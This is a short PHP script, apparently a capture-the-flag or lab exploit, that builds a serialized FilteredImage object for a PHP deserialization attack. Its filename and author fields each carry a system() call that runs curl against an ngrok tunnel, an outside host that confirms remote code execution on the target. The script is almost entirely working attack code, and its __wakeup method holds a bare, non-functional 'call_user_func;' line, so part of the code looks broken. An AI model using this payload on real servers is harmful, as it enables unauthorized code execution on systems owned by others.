<?php
class Image
{

    public $filename;
    public $author;

}
class FilteredImage extends Image
{

    public $apply_filter;
    public $css;

    public function __wakeup()
    {
        call_user_func;
    }

    public function generate_css()
    {
        return 'filter: ' . $this->css . ';';
    }

}
$filename="system('curl http://0.tcp.ngrok.io:12871');";
$author="system('curl http://0.tcp.ngrok.io:12871');";
$image = new FilteredImage();
$image->apply_filter=0;
$image->filename=$filename;
$image->author=$author;
$serialized_img = serialize($image);
echo $serialized_img;
?>